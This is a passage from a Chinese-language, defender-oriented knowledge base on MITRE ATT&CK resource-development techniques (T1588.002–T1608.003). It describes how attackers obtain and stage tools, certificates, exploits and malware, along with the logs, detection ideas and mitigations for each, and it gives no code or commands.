使用威胁情报平台(如VirusTotal、ThreatConnect)检查已知恶意工具的哈希、IP地址或域名,关联潜在的攻击活动。 ## 建议 ### 缓解措施 由于工具的获取发生在企业防御和控制范围之外,难以通过预防性措施直接缓解。以下是一些建议: 1. **增强端点防护** - 部署并更新EDR或防病毒工具,检测合法工具的异常使用行为。 2. **应用程序白名单** - 部署应用程序白名单策略,仅允许受信任的应用程序运行,限制未经授权的工具执行。 3. **网络安全控制** - 配置防火墙和IDS/IPS,阻止与已知C2服务器或可疑域名的通信。 - 部署DNS过滤,阻止对可疑域名的访问。 4. **用户教育** - 培训用户识别可疑文件、链接或下载行为,避免从不可信来源获取工具。 5. **系统加固** - 禁用不必要的管理工具和服务(如远程桌面或WMI),减少被滥用的可能性。 - 启用系统防护机制,如地址空间布局随机化(ASLR)和数据执行保护(DEP)。 ### 检测 由于此类活动通常在目标组织的可见性之外,检测工作应集中在攻击生命周期的后续阶段,包括但不限于: - **异常行为检测**:监控系统中异常的工具执行行为,如PsExec或PowerShell在非预期场景中的使用。 - **网络行为监控**:通过IDS/IPS或SIEM系统,关注异常的网络流量模式,如与C2服务器的通信。 - **日志分析**:分析系统日志(如Windows事件ID 4688、5156)或安全软件日志,识别与工具滥用相关的行为。 - **威胁情报整合**:利用威胁情报平台,关联已知工具的IOC(Indicators of Compromise),如文件哈希、IP地址或域名。 ## 参考推荐 - MITRE ATT&CK: T1588-002 ================================================ FILE: Windows/02资源开发/T1588.003-获取能力-代码签名证书.md ================================================ # T1588-003-获取能力-代码签名证书 ## 描述 在入侵目标组织之前,攻击者可能会购买、窃取或下载可在目标定位期间使用的代码签名证书。代码签名是对可执行文件和脚本进行数字签名的过程,以确认软件作者并确保代码未被更改或破坏。代码签名为开发者的程序提供一定的真实性,并保证程序未被篡改。相比未签名的代码,即使用户或安全工具不知道颁发证书的人或代码的作者,签名的代码也可能更容易获得信任。 攻击者可能通过购买或窃取代码签名证书来伪装合法软件,绕过安全检测或提升恶意代码的可信度。攻击者可以使用傀儡组织或利用从先前被入侵实体窃取的信息冒充合法实体,通过证书颁发机构(CA)完成代码签名证书的购买。此外,攻击者可能直接从被入侵的第三方窃取代码签名材料,或从暗网市场购买泄露的证书。 ## 测试案例 暂无,仅提供辅助理解案例: 1. **窃取合法代码签名证书** 攻击者通过入侵软件公司或开发者的系统,窃取合法的代码签名证书,用于签署恶意软件以绕过安全软件检测。例如,某些恶意软件团伙利用泄露的证书签署恶意可执行文件,使其看似来自可信来源。 2. **购买伪造证书** 攻击者通过暗网市场购买伪造的代码签名证书,或使用虚假身份从合法CA购买证书,进而签署恶意软件以伪装成合法应用程序。 ## 检测日志 **无法有效监测** 代码签名证书的获取通常发生在攻击者的环境中,与目标系统无直接交互,因此难以通过日志直接检测。可能相关的日志来源包括: - **系统日志**:Windows事件日志(如事件ID 4657)可能记录证书安装或信任更改事件。 - **安全软件日志**:EDR或防病毒工具可能记录可疑签名或不受信任证书的执行尝试。 - **网络日志**:与证书验证相关的网络请求(如CRL或OCSP检查)可能提供间接线索。 ## 测试复现 无具体复现方法。 代码签名证书的获取通常在目标系统之外进行,难以在实验室环境中直接模拟。以下是一个概念性复现思路,仅供参考: ## 测试留痕 无明显留痕。 代码签名证书的获取活动通常不会在目标系统上留下直接痕迹。相关留痕可能出现在后续阶段,包括: - **证书安装**:如果攻击者将窃取或伪造的证书安装到目标系统的信任存储中,可能在证书管理器或系统日志中留下记录。 - **恶意软件执行**:签名后的恶意代码可能触发防病毒软件的警告或异常行为日志。 - **网络活动**:与证书验证相关的网络请求(如CRL或OCSP检查)可能被记录在网络流量日志中。 ## 检测规则/思路 **检测规则** 无明确的检测规则。由于证书的获取主要发生在攻击者的环境中,传统日志分析或入侵检测系统难以直接捕获。以下是一些可能的检测思路: 1. **监控异常证书行为** - 检查系统中安装的代码签名证书,识别来源不明或可疑的证书。 - 使用工具(如Windows CertMgr或OpenSSL)分析证书链,检测非受信任根证书或异常颁发者。 2. **行为分析** - 监控可执行文件的签名状态,重点关注签名无效或使用可疑证书的文件。 - 使用EDR工具检测异常进程或文件的执行行为,尤其是与签名不匹配的情况。 3. **网络流量分析** - 检测与可疑证书相关的网络通信,如CRL或OCSP请求涉及未知颁发者。 - 监控异常的HTTPS流量,检查是否涉及伪造或不受信任的证书。 4. **威胁情报整合** - 使用威胁情报平台(如VirusTotal、ThreatConnect)检查已知被盗或伪造证书的指纹,关联潜在的攻击活动。 ## 建议 ### 缓解措施 由于代码签名证书的获取发生在企业防御和控制范围之外,难以通过预防性措施直接缓解。以下是一些建议: 1. **增强代码签名验证** - 配置系统仅信任来自受信证书颁发机构(CA)的签名代码,限制伪造或不受信任证书的执行。 - 在操作系统或安全软件中配置策略,阻止未签名或签名无效的可执行文件运行。 - 示例Windows组策略设置: - 路径:`计算机配置->管理模板->系统->驱动程序安装` - 启用“代码签名用于设备驱动程序”并选择“阻止”。 2. **用户教育** - 培训用户识别可疑软件,避免运行未知来源或提示证书不受信任的程序。 - 教授用户检查软件的数字签名(如右键单击文件->属性->数字签名)。 3. **应用程序白名单** - 部署应用程序白名单策略,仅允许经过验证的合法应用程序运行,减少伪造签名恶意软件的影响。 - 示例工具:Windows AppLocker或第三方解决方案(如Carbon Black)。 4. **证书管理** - 定期审计系统中的根证书和中间证书,移除或限制不受信任的证书。 - 使用证书透明度(CT)日志监控可疑证书的颁发。 5. **系统加固** - 限制用户安装不受信任证书的能力,防止攻击者将伪造证书添加到信任存储。 - 配置防火墙规则,限制与可疑证书相关的网络通信。 ### 检测 由于此类活动通常在目标组织的可见性之外,检测工作应集中在相关后续行为上,包括但不限于: - **异常签名检测**:监控系统中运行的可执行文件,检查签名证书的合法性(如是否来自未知或伪造证书)。 - **根证书安装监控**:检测系统中是否安装了非预期或不受信任的根证书,可能是攻击者为后续活动铺垫的迹象。 - 示例Windows事件ID:4657(注册表更改,可能涉及证书存储)。 - **行为监控**:通过EDR或SIEM系统,关注异常的文件执行、进程行为或网络活动,尤其是与可疑签名证书相关的行为。 - **威胁情报整合**:利用威胁情报平台(如VirusTotal、Recorded Future)检查已知被盗或伪造证书的指纹或哈希值。 ## 参考推荐 - MITRE ATT&CK: T1588-003 ================================================ FILE: Windows/02资源开发/T1588.004-获取能力-数字证书.md ================================================ # T1588-004-获取能力-数字证书 ## 描述 在入侵目标组织之前,攻击者可能会购买或窃取可在目标定位期间使用的SSL/TLS证书。SSL/TLS证书旨在确保通信安全与信任,包含密钥信息、所有者身份信息以及由可信实体验证的数字签名。如果签名有效且检查证书的人员信任签名者,则可确认使用该密钥与其所有者进行安全通信。 攻击者可能通过购买或窃取SSL/TLS证书用于恶意目的,例如加密命令与控制(C2)流量(如通过Web协议)、伪装合法服务,或在证书被添加到目标系统的信任根存储(即安装根证书)后实施中间人(MITM)攻击。攻击者可以使用傀儡组织或利用从先前被入侵实体窃取的信息冒充合法实体,通过证书颁发机构(CA)完成证书购买。此外,攻击者可能直接从被入侵的第三方窃取SSL/TLS证书,或从暗网市场购买泄露的证书。某些证书颁发机构(如提供免费域名验证证书的机构)可能被攻击者利用,免费获取SSL/TLS证书。攻击者还可能注册或劫持域名,以便后续购买或使用SSL/TLS证书。 ## 测试案例 暂无,仅提供辅助理解案例: 1. **购买免费SSL/TLS证书** 攻击者通过免费证书颁发机构(如Let's Encrypt)为恶意域名获取SSL/TLS证书,用于配置伪装的HTTPS网站或C2服务器,诱导用户信任或隐藏恶意流量。 2. **窃取企业证书** 攻击者入侵合法企业的服务器,窃取SSL/TLS证书及其私钥,用于伪装成受信任的网站或服务,执行MITM攻击或分发恶意内容。 ## 检测日志 **无法有效监测** SSL/TLS证书的获取通常发生在攻击者的环境中,与目标系统无直接交互,因此难以通过日志直接检测。可能相关的日志来源包括: - **系统日志**:Windows事件日志(如事件ID 4657)可能记录证书安装或信任更改事件。 - **网络日志**:与证书验证相关的网络请求(如OCSP或CRL检查)可能提供间接线索。 - **安全软件日志**:EDR或防病毒工具可能记录与不受信任或伪造证书相关的异常网络连接或进程行为。 ## 测试复现 无具体复现方法。 ## 测试留痕 无明显留痕。 SSL/TLS证书的获取活动通常不会在目标系统上留下直接痕迹。相关留痕可能出现在后续阶段,包括: - **证书安装**:如果攻击者将伪造或窃取的证书安装到目标系统的信任根存储中,可能在证书管理器或系统日志中留下记录。 - **网络活动**:与伪造证书相关的HTTPS流量可能触发安全警告或被记录在网络日志中(如TLS握手失败)。 - **恶意行为**:使用伪造证书的恶意服务或C2通信可能在EDR或防病毒日志中留下异常行为记录。 ## 检测规则/思路 **检测规则** 无明确的检测规则。由于证书的获取主要发生在攻击者的环境中,传统日志分析或入侵检测系统难以直接捕获。以下是一些可能的检测思路: 1. **监控异常证书行为** - 检查系统中安装的SSL/TLS证书,识别来源不明或可疑的证书。 - 使用工具(如Windows CertMgr或OpenSSL)分析证书链,检测非受信任根证书或异常颁发者。 2. **网络流量分析** - 监控HTTPS流量,检测使用伪造或不受信任证书的异常TLS连接。 - 检查与证书验证相关的网络请求(如CRL或OCSP请求),识别可疑证书指纹。 3. **行为分析** - 使用EDR工具检测与伪造证书相关的异常进程或网络行为,如PowerShell脚本发起的HTTPS请求。 4. **威胁情报整合** - 使用威胁情报平台(如VirusTotal、ThreatConnect)检查已知被盗或伪造证书的指纹或域名,关联潜在的攻击者基础设施。 ## 建议 ### 缓解措施 由于SSL/TLS证书的获取发生在企业防御和控制范围之外,难以通过预防性措施直接缓解。以下是一些建议: 1. **增强证书验证** - 配置系统仅信任来自受信证书颁发机构(CA)的SSL/TLS证书,限制伪造或不受信任证书的使用。 - 在浏览器或操作系统中启用严格的证书检查,阻止不受信任证书的连接。 - 示例Windows组策略设置: - 路径:`计算机配置->管理模板->系统->Internet通信管理->Internet通信设置` - 启用“关闭自动根证书更新”以防止意外信任。 2. **用户教育** - 培训用户识别可疑HTTPS网站,尤其是提示证书不受信任的页面。 - 教授用户检查证书详情(如右键单击浏览器锁图标->查看证书)。 3. **网络安全控制** - 部署TLS解密设备(如下一代防火墙)以检查加密流量,识别伪造或不受信任证书的使用。 - 配置入侵检测系统(IDS)以检测异常TLS握手或证书错误。 4. **证书管理** - 定期审计系统中的根证书和中间证书,移除或限制不受信任的证书。 - 使用证书透明度(CT)日志监控可疑证书的颁发。 5. **域名保护** - 监控与组织相关的域名注册,防止攻击者注册相似域名用于伪造证书。 - 使用域名监控服务(如DomainTools)检测可疑域名活动。 ### 检测 由于此类活动通常在目标组织的可见性之外,检测工作应集中在相关后续行为上,包括但不限于: - **异常证书检测**:监控系统中运行的HTTPS连接,检查证书是否为伪造或来自不受信任的CA。 - **根证书安装监控**:检测系统中是否安装了非预期或不受信任的根证书,可能是攻击者铺垫MITM攻击的迹象。 - 示例Windows事件ID:4657(注册表更改,可能涉及证书存储)。 - **网络行为监控**:通过EDR或SIEM系统,关注异常的HTTPS流量、脚本执行或与可疑域名相关的通信。 - **证书信息追踪**:利用证书透明度(CT)日志或其他服务,跟踪Internet上使用的证书,识别与攻击者基础设施相关的证书。 ## 参考推荐 - MITRE ATT&CK: T1588-004 ================================================ FILE: Windows/02资源开发/T1588.005-获取能力-漏洞利用.md ================================================ # T1588-005-获取能力-漏洞利用 ## 描述 在入侵目标组织之前,攻击者可能会购买、窃取或下载可在目标定位期间使用的漏洞利用程序。漏洞利用程序利用软硬件的脆弱性,引发计算机硬件或软件上发生意外或未预期的行为。攻击者可能通过在网上查找、修改现有漏洞,或从漏洞供应商处购买漏洞利用程序,而非自行开发漏洞。 攻击者可以从互联网上下载免费的漏洞利用程序,或从第三方实体(如专门从事恶意软件开发的技术公司、网络犯罪市场或个人)购买漏洞利用程序。此外,攻击者可能从第三方实体(包括其他攻击者)窃取漏洞利用程序并用于其他目的。攻击者还可能监视漏洞利用提供商论坛,了解现有漏洞及新发现漏洞的状态。发现漏洞与公开漏洞之间通常存在延迟,攻击者可能利用这一时间窗口针对未修补系统发起攻击。 攻击者可能将已知进行漏洞利用研究和开发的系统作为目标,收集相关信息以便在后续操作中使用。漏洞利用可能在攻击生命周期的各个阶段使用,包括面向公众应用的漏洞利用、客户端执行利用、提权漏洞利用、防御逃逸漏洞利用、凭据获取漏洞利用、远程服务漏洞利用,以及应用程序或系统漏洞导致的拒绝服务攻击。 ## 测试案例 暂无,仅提供辅助理解案例: 1. **购买漏洞利用程序** 攻击者通过暗网市场购买针对流行软件(如Adobe Flash或Microsoft Windows)的零日漏洞利用程序,用于初始访问或提权。例如,购买针对SMB协议漏洞(如EternalBlue)的利用代码。 2. **窃取漏洞利用代码** 攻击者入侵安全研究人员的服务器或代码仓库,窃取未公开的漏洞利用代码,修改后用于针对性攻击。 ## 检测日志 **无法有效监测** 漏洞利用程序的获取通常发生在攻击者的环境中,与目标系统无直接交互,因此难以通过日志直接检测。 可能相关的日志来源包括: - **系统日志**:如果漏洞利用程序在目标系统上执行,可能在Windows事件日志(如事件ID 4688、4689)中记录异常进程或行为。 - **安全软件日志**:EDR或防病毒工具可能记录漏洞利用尝试触发的异常行为(如缓冲区溢出或内存异常)。 - **网络日志**:与漏洞利用相关的网络流量(如异常的HTTP请求或协议异常)可能提供间接线索。 ## 测试复现 无具体复现方法。 ## 测试留痕 无明显留痕。 漏洞利用程序的获取活动通常不会在目标系统上留下直接痕迹。 相关留痕可能出现在后续阶段,包括: - **漏洞利用执行**:漏洞利用可能触发异常进程、文件操作或系统崩溃,记录在系统日志或EDR中。 - **网络活动**:漏洞利用可能生成异常网络流量(如畸形数据包或异常协议行为),记录在IDS/IPS或网络日志中。 - **内存异常**:漏洞利用可能导致内存访问异常,触发安全软件的告警。 ## 检测规则/思路 无明确的检测规则。 ## 建议 ### 缓解措施 由于漏洞利用程序的获取发生在企业防御和控制范围之外,难以通过预防性措施直接缓解。以下是一些建议: 1. **及时补丁管理** - 定期更新操作系统、应用程序和固件,修补已知漏洞,减少可被利用的攻击面。 - 使用补丁管理工具(如WSUS或SCCM)确保补丁及时部署。 2. **最小权限原则** - 限制用户和应用程序的权限,减少漏洞利用导致的特权提升或横向移动风险。 - 示例:启用Windows的UAC(用户账户控制)并限制管理员账户使用。 3. **安全配置** - 启用系统防护机制,如地址空间布局随机化(ASLR)、数据执行保护(DEP)和控制流保护(CFG)。 - 配置防火墙规则,限制异常网络流量。 4. **应用程序白名单** - 部署应用程序白名单策略,仅允许受信任的应用程序运行,减少恶意代码执行的机会。 5. **用户教育** - 培训用户识别可疑文件或链接,避免触发客户端漏洞利用(如恶意PDF或Office文档)。 ### 检测 由于此类活动通常在目标组织的可见性之外,检测工作应集中在相关后续行为上,包括但不限于: - **异常行为检测**:监控系统中的异常进程、内存访问或文件操作,识别潜在的漏洞利用行为。 - **网络行为监控**:通过IDS/IPS或SIEM系统,关注异常的网络流量模式,如畸形数据包或高频连接。 - **日志分析**:分析系统日志(如Windows事件ID 4688、5156)或安全软件日志,识别与漏洞利用相关的行为(如提权或防御逃逸)。 - **威胁情报整合**:利用威胁情报平台,关联已知漏洞利用的IOC(Indicators of Compromise),如文件哈希、IP地址或域名。 ## 参考推荐 - MITRE ATT&CK: T1588-005 ================================================ FILE: Windows/02资源开发/T1588.006-获取能力-漏洞.md ================================================ # T1588-006-获取能力-漏洞 ## 描述 在入侵目标组织之前,攻击者可能会获取可在目标定位期间使用的漏洞信息。漏洞是计算机硬件或软件中的弱点,可能被攻击者利用,导致意外或非预期的行为发生。攻击者可能通过搜索公开的漏洞数据库(如CVE、NVD)、访问封闭的漏洞数据库或参与地下论坛来获取漏洞信息。 攻击者可能监测漏洞披露平台和数据库,以了解现有漏洞及新发现漏洞的状态。漏洞发现与公开之间通常存在时间延迟,攻击者可利用这一窗口针对未修补系统发起攻击。此外,攻击者可能将已知进行漏洞研究的系统(如商业软件供应商或安全研究机构)作为目标,通过入侵或社会工程学窃取未公开的漏洞信息。在获取漏洞信息后,攻击者可能搜索现有的漏洞利用程序,或尝试自行开发利用代码以实现特定目标。 ## 测试案例 暂无,仅提供辅助理解案例: 1. **监控公开漏洞数据库** 攻击者定期查询国家漏洞数据库(NVD)或Exploit-DB,获取针对流行软件(如Apache、Windows)的已知漏洞信息(如CVE-2021-41773),并寻找可用的利用代码。 2. **窃取漏洞研究数据** 攻击者入侵安全研究公司或开发者的代码仓库,窃取未公开的零日漏洞信息,随后用于针对性攻击或出售给其他攻击者。 ## 检测日志 **无法有效监测** 漏洞信息的获取通常发生在攻击者的环境中,与目标系统无直接交互,因此难以通过日志直接检测。 ## 测试复现 无具体复现方法。 ## 测试留痕 无明显留痕。漏洞信息的获取活动通常不会在目标系统上留下直接痕迹。 相关留痕可能出现在后续阶段,包括: - **漏洞利用执行**:漏洞利用可能触发异常进程、文件操作或系统崩溃,记录在系统日志或EDR中。 - **网络活动**:漏洞利用可能生成异常网络流量(如畸形数据包或异常协议行为),记录在IDS/IPS或网络日志中。 - **内存异常**:漏洞利用可能导致内存访问异常,触发安全软件的告警。 ## 检测规则/思路 **检测规则** 无明确的检测规则。由于漏洞信息的获取主要发生在攻击者的环境中,传统日志分析或入侵检测系统难以直接捕获。以下是一些可能的检测思路: 1. **监控异常行为** - 使用EDR工具检测潜在漏洞利用行为,如缓冲区溢出、堆喷射或代码注入。 2. **网络流量分析** - 监控异常的网络流量模式,如畸形HTTP请求、异常协议行为或高频连接尝试。 3. **补丁管理监控** - 定期检查系统补丁状态,识别未修补的已知漏洞(CVE),推断可能的攻击目标。 4. **威胁情报整合** - 使用威胁情报平台(如VirusTotal、AlienVault)检查已知漏洞的特征(如CVE编号、恶意IP或Payload哈希)。 - 关联已知漏洞利用的IOC(Indicators of Compromise)与系统日志,识别潜在的攻击尝试。 ## 建议 ### 缓解措施 由于漏洞信息的获取发生在企业防御和控制范围之外,难以通过预防性措施直接缓解。以下是一些建议: 1. **及时补丁管理** - 定期更新操作系统、应用程序和固件,修补已知漏洞,减少可被利用的攻击面。 - 使用补丁管理工具(如WSUS、SCCM)确保补丁及时部署。 2. **最小权限原则** - 限制用户和应用程序的权限,减少漏洞利用导致的特权提升或横向移动风险。 - 示例:启用Windows的UAC(用户账户控制)并限制管理员账户使用。 3. **安全配置** - 启用系统防护机制,如地址空间布局随机化(ASLR)、数据执行保护(DEP)和控制流保护(CFG)。 - 配置防火墙规则,限制异常网络流量。 4. **应用程序白名单** - 部署应用程序白名单策略,仅允许受信任的应用程序运行,减少恶意代码执行的机会。 5. **用户教育** - 培训用户识别可疑文件、链接或附件,避免触发客户端漏洞利用(如恶意PDF或Office文档)。 - 教授用户检查软件来源和数字签名。 6. **漏洞情报监控** - 订阅漏洞披露平台(如NVD、CVE)或威胁情报服务,及时了解新披露的漏洞并采取补救措施。 ### 检测 由于此类活动通常在目标组织的可见性之外,检测工作应集中在与漏洞利用相关的后续行为上,包括但不限于: - **异常行为检测**:监控系统中的异常进程、内存访问或文件操作,识别潜在的漏洞利用行为。 - **网络行为监控**:通过IDS/IPS或SIEM系统,关注异常的网络流量模式,如畸形数据包或高频连接。 - **日志分析**:分析系统日志(如Windows事件ID 4688、5156)或安全软件日志,识别与漏洞利用相关的行为(如提权或防御逃逸)。 - **威胁情报整合**:利用威胁情报平台,关联已知漏洞的IOC(如CVE编号、文件哈希、IP地址或域名),识别潜在的攻击活动。 ## 参考推荐 - MITRE ATT&CK: T1588-006 ================================================ FILE: Windows/02资源开发/T1608.001-部署能力-部署恶意软件.md ================================================ # T1608-001-部署能力-部署恶意软件 ## 描述 攻击者可能将恶意软件上传到第三方或攻击者控制的基础设施,以在定向攻击期间使用。恶意软件可能包括有效载荷、投放器、后渗透工具、后门、加壳程序、C2协议或受感染的可移动存储设备内容。攻击者可能通过将恶意软件部署到可公开访问的Web服务器、云存储、代码托管平台(如GitHub、Pastebin)或第三方软件商店(如AWS Community AMIs、Docker Hub)来实现攻击目标,例如通过用户执行或入侵工具转移技术分发恶意内容。 攻击者可能在之前购买或租用的基础设施(获取基础设施)、被入侵的基础设施(入侵基础设施)或公共Web服务上部署恶意软件。部署的恶意软件可能伪装成合法软件、应用程序二进制文件、虚拟机镜像或容器镜像,以诱导受害者下载或安装。伪装技术(如使用可信来源的名称或图标)可能增加用户执行这些文件的机会。 ## 测试案例 暂无,仅提供辅助理解案例: 1. **上传恶意软件到公共存储库** 攻击者将伪装成合法工具的恶意二进制文件上传到GitHub或Pastebin,诱导受害者通过社会工程学下载并执行。 2. **部署恶意容器镜像** 攻击者将包含后门的Docker镜像上传到Docker Hub,伪装成常用应用程序的镜像,等待受害者在开发或生产环境中拉取并运行。 ## 检测日志 **无法有效监测** 恶意软件的部署通常发生在攻击者控制或第三方基础设施上,与目标系统无直接交互,因此难以通过日志直接检测。可能相关的日志来源包括: - **系统日志**:如果恶意软件在目标系统上执行,可能在Windows事件日志(如事件ID 4688、4689)中记录异常进程或行为。 - **网络日志**:从可疑来源下载恶意软件的网络流量(如异常的HTTP或DNS请求)可能提供间接线索。 - **安全软件日志**:EDR或防病毒工具可能记录已知恶意软件的签名或异常行为。 ## 测试复现 无具体复现方法。 ## 测试留痕 无明显留痕。 恶意软件的部署活动通常不会在目标系统上留下直接痕迹。 相关留痕可能出现在后续阶段,包括: - **恶意软件执行**:恶意软件运行可能触发异常进程、文件操作或注册表更改,记录在系统日志或EDR中。 - **网络活动**:从可疑来源下载恶意软件可能生成异常网络流量,记录在IDS/IPS或网络日志中。 - **文件系统痕迹**:恶意软件可能在系统中创建临时文件或配置文件,记录在文件系统日志中。 ## 检测规则/思路 **检测规则** 无明确的检测规则。 ## 建议 ### 缓解措施 由于恶意软件的部署发生在企业防御和控制范围之外,难以通过预防性措施直接缓解。以下是一些建议: 1. **增强端点防护** - 部署并更新防病毒软件和EDR工具,检测已知恶意软件的签名和行为。 2. **应用程序白名单** - 部署应用程序白名单策略,仅允许受信任的应用程序运行,减少恶意软件执行的机会。 3. **网络安全控制** - 配置防火墙和IDS/IPS,阻止与已知恶意基础设施的通信。 - 部署DNS过滤,阻止对可疑域名的访问。 4. **用户教育** - 培训用户识别可疑文件、链接或下载来源,避免从不可信平台下载软件。 5. **系统加固** - 禁用不必要的服务和端口,减少恶意软件利用的攻击面。 - 启用系统防护机制,如地址空间布局随机化(ASLR)和数据执行保护(DEP)。 ### 检测 由于此类活动通常在目标组织的可见性之外,检测工作应集中在攻击生命周期的后续阶段,包括但不限于: - **用户执行检测**:监控系统中异常的可执行文件或脚本运行,识别潜在的恶意软件执行。 - **网络行为监控**:通过IDS/IPS或SIEM系统,关注从可疑来源下载文件或与C2服务器通信的流量。 - **日志分析**:分析系统日志(如Windows事件ID 4688、5156)或安全软件日志,识别与恶意软件部署相关的行为。 - **威胁情报整合**:利用威胁情报平台,关联已知恶意软件的IOC(Indicators of Compromise),如文件哈希、IP地址或域名。 ## 参考推荐 - MITRE ATT&CK: T1608-001 ================================================ FILE: Windows/02资源开发/T1608.002-部署能力-部署工具.md ================================================ # T1608-002-部署能力-部署工具 ## 描述 攻击者可能将工具上传到第三方或攻击者控制的基础设施,以在定向攻击期间使用。工具可以是开源或闭源的,免费或商业的。攻击者可能将原本非恶意的工具(如PsExec、PowerShell或Mimikatz)用于恶意目的,以支持后渗透行为,如横向移动、数据收集或持久化。攻击者可能通过将工具部署到可公开访问的Web服务器、云存储、代码托管平台(如GitHub)或第三方软件商店来实现攻击目标,例如通过入侵工具转移技术分发工具。 工具可能被部署在攻击者购买或租用的基础设施(获取基础设施)、被入侵的基础设施(入侵基础设施)或公共Web服务(如GitHub、Pastebin)上。攻击者还可能通过诱导受害者从第三方托管位置(如非攻击者控制的GitHub存储库)或工具的原始托管网站下载工具,规避直接上传工具的行为,以降低被检测的风险。 ## 测试案例 暂无,仅提供辅助理解案例: 1. **部署合法工具到公共存储库** 攻击者将PsExec或Mimikatz等合法工具上传到GitHub,伪装成开发工具的一部分,诱导受害者下载并运行以执行恶意操作。 2. **利用云存储分发工具** 攻击者将修改后的Cobalt Strike二进制文件上传到云存储服务(如Dropbox),通过社会工程学诱导受害者下载,进而建立C2通信。 ## 检测日志 **无法有效监测** 工具的部署通常发生在攻击者控制或第三方基础设施上,与目标系统无直接交互,因此难以通过日志直接检测。 可能相关的日志来源包括: - **系统日志**:如果工具在目标系统上执行,可能在Windows事件日志(如事件ID 4688、4689)中记录异常进程或命令执行。 - **网络日志**:从可疑来源下载工具的网络流量(如异常的HTTP或DNS请求)可能提供间接线索。 - **安全软件日志**:EDR或防病毒工具可能记录合法工具的异常使用行为,如PsExec在非预期环境中的运行。 ## 测试复现 无具体复现方法。 ## 测试留痕 无明显留痕。 ## 检测规则/思路 **检测规则** 无明确的检测规则。 ## 建议 ### 缓解措施 由于工具的部署发生在企业防御和控制范围之外,难以通过预防性措施直接缓解。以下是一些建议: 1. **增强端点防护** - 部署并更新EDR或防病毒工具,检测合法工具的异常使用行为。 2. **应用程序白名单** - 部署应用程序白名单策略,仅允许受信任的应用程序运行,限制未经授权的工具执行。 3. **网络安全控制** - 配置防火墙和IDS/IPS,阻止与可疑基础设施的通信。 - 部署DNS过滤,阻止对可疑域名的访问。 4. **用户教育** - 培训用户识别可疑文件、链接或下载来源,避免从不可信平台下载工具。 5. **系统加固** - 禁用不必要的管理工具和服务(如远程桌面或WMI),减少被滥用的可能性。 - 启用系统防护机制,如地址空间布局随机化(ASLR)和数据执行保护(DEP)。 ### 检测 由于此类活动通常在目标组织的可见性之外,检测工作应集中在攻击生命周期的后续阶段,包括但不限于: - **异常行为检测**:监控系统中异常的工具执行行为,如PsExec或PowerShell在非预期场景中的使用。 - **网络行为监控**:通过IDS/IPS或SIEM系统,关注从可疑来源下载文件或与C2服务器通信的流量。 - **日志分析**:分析系统日志(如Windows事件ID 4688、5156)或安全软件日志,识别与工具滥用相关的行为。 - **威胁情报整合**:利用威胁情报平台,关联已知工具的IOC(Indicators of Compromise),如文件哈希、IP地址或域名。 ## 参考推荐 - MITRE ATT&CK: T1608-002 ================================================ FILE: Windows/02资源开发/T1608.003-部署能力-安装数字证书.md ================================================ # T1608-003-部署能力-安装数字证书 ## 描述 攻击者可能在定向攻击期间安装SSL/TLS证书,以支持恶意操作。SSL/TLS证书是用于实现系统间安全通信的文件,包含密钥信息、所有者身份信息以及由可信实体验证的数字签名。如果签名有效且检查证书的人员信任签名者,则可确认使用该密钥与其所有者进行安全通信。攻击者可以将证书上传到服务器,并配置服务器使用该证书以启用加密通信。 攻击者可能安装SSL/TLS证书用于多种恶意目的,例如加密命令与控制(C2)流量(如通过Web协议使用非对称加密)、伪装合法服务以提升可信度,或为凭据收集站点(如钓鱼网站)提供HTTPS支持。证书可用于多种服务,包括Web服务器、电子邮件服务器或其他网络服务。 攻击者可能通过购买或窃取数字证书(参见获取数字证书T1588-004)或创建自签名证书(参见开发数字证书T1587-003)获取证书。这些证书随后可能被安装在攻击者控制的基础设施上,如购买或租用的基础设施(获取基础设施T1583)、被入侵的基础设施(入侵基础设施T1584)或公共Web服务。 ## 测试案例 暂无,仅提供辅助理解案例: 1. **安装证书以伪装合法网站** 攻击者为钓鱼网站安装从暗网购买的SSL/TLS证书,伪装成合法的银行或企业网站,诱导用户输入敏感信息。 2. **配置C2服务器证书** 攻击者将自签名或窃取的SSL/TLS证书安装在C2服务器上,加密恶意流量以规避网络检测,模拟合法HTTPS通信。 ## 检测日志 **无法有效监测** SSL/TLS证书的安装通常发生在攻击者控制或第三方基础设施上,与目标系统无直接交互,因此难以通过日志直接检测。 可能相关的日志来源包括: - **系统日志**:如果攻击者将证书安装到目标系统的信任根存储中,可能在Windows事件日志(如事件ID 4657)中记录证书安装或信任更改事件。 - **网络日志**:与证书验证相关的网络请求(如OCSP或CRL检查)可能提供间接线索。 - **安全软件日志**:EDR或防病毒工具可能记录与伪造或不受信任证书相关的异常网络连接或进程行为。 ## 测试复现 无具体复现方法。 ## 测试留痕 无明显留痕。 SSL/TLS证书的安装活动通常不会在目标系统上留下直接痕迹。相关留痕可能出现在后续阶段,包括: - **证书安装**:如果攻击者将伪造或窃取的证书安装到目标系统的信任根存储中,可能在证书管理器或系统日志中留下记录。 - **网络活动**:与伪造证书相关的HTTPS流量可能触发安全警告或被记录在网络日志中(如TLS握手失败)。 - **恶意行为**:使用证书的恶意服务或C2通信可能在EDR或防病毒日志中留下异常行为记录。 ## 检测规则/思路 **检测规则** 无明确的检测规则。 ## 建议 ### 缓解措施 由于SSL/TLS证书的安装发生在企业防御和控制范围之外,难以通过预防性措施直接缓解。以下是一些建议: 1. **增强证书验证** - 配置系统仅信任来自受信证书颁发机构(CA)的SSL/TLS证书,限制伪造或不受信任证书的使用。 - 在浏览器或操作系统中启用严格的证书检查,阻止不受信任证书的连接。 - 示例Windows组策略设置: - 路径:`计算机配置->管理模板->系统->Internet通信管理->Internet通信设置` - 启用“关闭自动根证书更新”以防止意外信任。 2. **用户教育** - 培训用户识别可疑HTTPS网站,尤其是提示证书不受信任的页面。 3. **网络安全控制** - 部署TLS解密设备(如下一代防火墙)以检查加密流量,识别伪造或不受信任证书的使用。 - 配置入侵检测系统(IDS)以检测异常TLS握手或证书错误。 4. **证书管理** - 定期审计系统中的根证书和中间证书,移除或限制不受信任的证书。 - 使用证书透明度(CT)日志监控可疑证书的颁发。 5. **基础设施保护** - 监控组织拥有的服务器和域名,防止攻击者利用被入侵的基础设施安装恶意证书。 - 使用域名监控服务(如DomainTools)检测可疑域名活动。 ### 检测 由于此类活动通常在目标组织的可见性之外,检测工作应集中在相关后续行为上,包括但不限于: - **异常证书检测**:监控系统中运行的HTTPS连接,检查证书是否为伪造或来自不受信任的CA。 - **根证书安装监控**:检测系统中是否安装了非预期或不受信任的根证书,可能是攻击者铺垫中间人攻击的迹象。 - 示例Windows事件ID:4657(注册表更改,可能涉及证书存储)。 - 